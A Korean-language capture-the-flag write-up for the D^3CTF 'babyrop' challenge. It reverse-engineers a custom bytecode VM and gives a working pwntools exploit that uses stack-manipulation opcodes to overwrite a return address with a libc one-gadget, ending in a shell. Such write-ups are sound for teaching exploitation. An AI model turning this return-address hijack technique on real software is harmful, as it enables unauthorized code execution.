본문으로 바로가기

D^3CTF babyrop

Analysis

main()

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
 setup();
 read_str(&buf, 0x100, '\n');
 vm(&buf, &offset, &stack, &check);
 exit(0);
}

main함수는 위와 같습니다.

setup()

unsigned __int64 setup()
{
 unsigned __int64 v0; // ST08_8

 v0 = __readfsqword(0x28u);
 setvbuf(stdin, 0LL, 2, 0LL);
 setvbuf(stdout, 0LL, 2, 0LL);
 setvbuf(stderr, 0LL, 2, 0LL);
 alarm(100u);
 return __readfsqword(0x28u) ^ v0;
}

흔-한 바이너리 설정입니다.


read_str()

__int64 __fastcall read_str(_BYTE *buf, signed int size, char tmp)
{
 char last; // [rsp+0h] [rbp-20h]
 signed int i; // [rsp+10h] [rbp-10h]

 last = tmp;
 for ( i = 0; i < size; ++i )
{
   if ( read(0, &buf[i], 1uLL) != 1 )
     exit(-1);
   if ( buf[i] == last )
  {
     buf[i] = '\0';
     return i;
  }
}
 buf[size - 1] = 0;
 return (size - 1);
}

buftmp(last)가 나오기 전까지 입력을 받습니당.


vm()

signed __int64 __fastcall vm(_BYTE *buf, _QWORD *offset, __int64 stack, __int64 a4)
{
 __int64 v4; // rax
 signed __int64 result; // rax
 _QWORD *check; // [rsp+0h] [rbp-80h]
 _BYTE *param; // [rsp+8h] [rbp-78h]
 char tmp; // [rsp+20h] [rbp-60h]
 unsigned __int64 v9; // [rsp+78h] [rbp-8h]

 param = stack;
 check = a4;
 v9 = __readfsqword(0x28u);
 memset(&tmp, 0, 0x50uLL);
 *stack = &tmp;
 *(stack + 0x10) = 10;
 *(stack + 8) = *stack + 0x50LL;
 while ( buf[*offset] )
{
   v4 = buf[*offset];
   switch ( off_14B4 )
  {
     case 0u:
       *offset = 0LL;
       return 1LL;
     case 8u:
       sub_D0E(param, buf[++*offset]);
       *offset += 4LL;
       break;
     case 0x12u:
       sub_D92(param, buf[++*offset]);
       ++*offset;
       break;
     case 0x15u:
       sub_ADF(param, buf[++*offset]);
       *offset += 8LL;
       break;
     case 0x21u:
       sub_BB9(param);
       ++*offset;
       break;
     case 0x26u:
       sub_B62(param, buf[++*offset]);
       ++*offset;
       break;
     case 0x28u:
       ++*offset;
       if ( !sub_C26(param, check) )
         exit(0);
       return result;
     case 0x30u:
       sub_CB4(param, buf[++*offset]);
       ++*offset;
       break;
     case 0x34u:
       ++*offset;
       sub_E17(param);
       break;
     case 0x38u:
       ++*offset;
       sub_E97(param);
       break;
     case 0x42u:
       sub_EDF(param);
       ++*offset;
       break;
     case 0x51u:                               // plus
       plus(param);
       ++*offset;
       break;
     case 0x52u:                               // minus
       minus(param);
       ++*offset;
       break;
     case 0x56u:
       mov(param, *&buf[++*offset]);           // mov
       *offset += 4LL;
       break;
     default:
       exit(0);
       return result;
  }
}
 return 1LL;
}

핵심 부분입니다. 총 14개의 instruction이 있습니다.

*stack = &tmp;
*(stack + 0x10) = 10;
*(stack + 8) = *stack + 0x50LL;

위와같은 코드를 통해서 스택 주소를 stack 전역변수에 넣어줍니다.

그리고 stack + 0x10의 주소에 10을 넣어두고, stack + 8의 주소에 &tmp + 0x50을 저장합니다.


instruction은 필요한 부분만 보겠습니다.

case 0x21u:
   sub_BB9(param);
   ++*offset;
   break;

signed __int64 __fastcall sub_BB9(_BYTE *stack)
{
 **stack += *(*stack - 8LL);
 *(*stack - 8LL) = 0LL;
 return 1LL;
}

현재 stack전역변수에 담긴 주소에 stack - 8에 담긴 값을 더해줍니다.

그 후 stack - 8에 담긴 값은 0으로 초기화 시켜줍니다.


case 0x28u:
   ++*offset;
   if ( !sub_C26(param, check) )
       exit(0);
   return result;

signed __int64 __fastcall sub_C26(__int64 stack, _QWORD *check)
{
 if ( !*(stack + 0x10) && *check > 1LL )
   return 0LL;
 *stack += 0x50LL;
 *(stack + 0x10) -= 10;
 ++*check;
 return 1LL;
}

stack + 0x10에 값이 존재하는지 체크하고, 그다음 check전역변수의 값이 1보다 큰지 확인합니다.

stack의 값을 0x50만큼 증가시키며, stack전역변수 + 0x10에 위치한 값을 10만큼 빼줍니다.


case 0x34u:
   ++*offset;
   sub_E17(param);
   break;

signed __int64 __fastcall sub_E17(_BYTE *a1)
{
 _BYTE *v1; // ST08_8

 v1 = a1;
 ++*(a1 + 4);
 *v1 -= 8LL;
 **v1 = *(*v1 + 8LL);
 *(*a1 + 8LL) = '\0';
 return 1LL;
}

먼저, v1을 -8합니다.

그리고 현재 v1의 주소에 v1 + 8값을 넣고, v1 + 8을 0으로 초기화합니다.

즉, 현재 stack전역변수의 값이 0x108이라고 하고, 값이 아래와 같이 들어가있다면..

stack : 0x108
0x100 : 11111111
0x108 : 22222222
0x110 : 33333333

해당 명령을 실행 하고 나면

stack : 0x100
0x100 : 22222222
0x108 : 00000000
0x110 : 33333333

이렇게 됩니다.


case 0x56u:
   mov(param, *&buf[++*offset]);           // mov
   *offset += 4LL;
   break;

signed __int64 __fastcall mov(_QWORD **a1, int a2)
{
 **a1 = a2;
 return 1LL;
}

"\x56"다음에 입력한 4bytestack주소에 넣습니다.


Exploit

stack주소를 우리가 원하는대로 조절 가능하므로, return부분에 oneshot을 박아야합니다.

main fucntion return주소는 기본적으로 __libc_start_main의 값이므로 이를 이용하여 특정 값을 더해 one_shot으로 만드려고 했습니다.

하지만, main함수는 exit(0)으로 프로그램을 종료해버립니다.

그래서 vm함수의 return주소를 변경해야겠다고 생각하였습니다.


일단, 0x28 instruction을 통하여 스택을 main함수의 return + 8까지 쭉 땡겨줍니다.

그 후, 스택에 0x56 instruction을 통하여 one_shot address - stack값을 적어줍니다.

그리고 0x21 instruction으로 return + 8에 입력한 one_shot address - stack값과 return주소를 더해주어 oneshot을 만들 수 있습니다.

마지막으로 0x34 instruction으로 vm함수의 returnoneshot을 배치하면 끝입니다.


from pwn import *

binary = "./babyrop"
e = ELF(binary)
libc = e.libc
r = process(binary, aslr = False)

pause()
payload = ""
payload += chr(0x28) * 2
payload += chr(0x56) + p32(0)
payload += chr(0x34) * 2
payload += chr(0x56) + p32(0x24a3a)
payload += chr(0x21)
payload += chr(0x34) * 5
r.sendline(payload)

r.interactive()

juntae@ubuntu:~/ctf/d^3ctf$ p ex.py 
[*] '/home/juntae/ctf/d^3ctf/babyrop'
  Arch:     amd64-64-little
  RELRO:   Full RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Starting local process './babyrop': pid 8462
[!] ASLR is disabled!
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae)

으따 재밌다.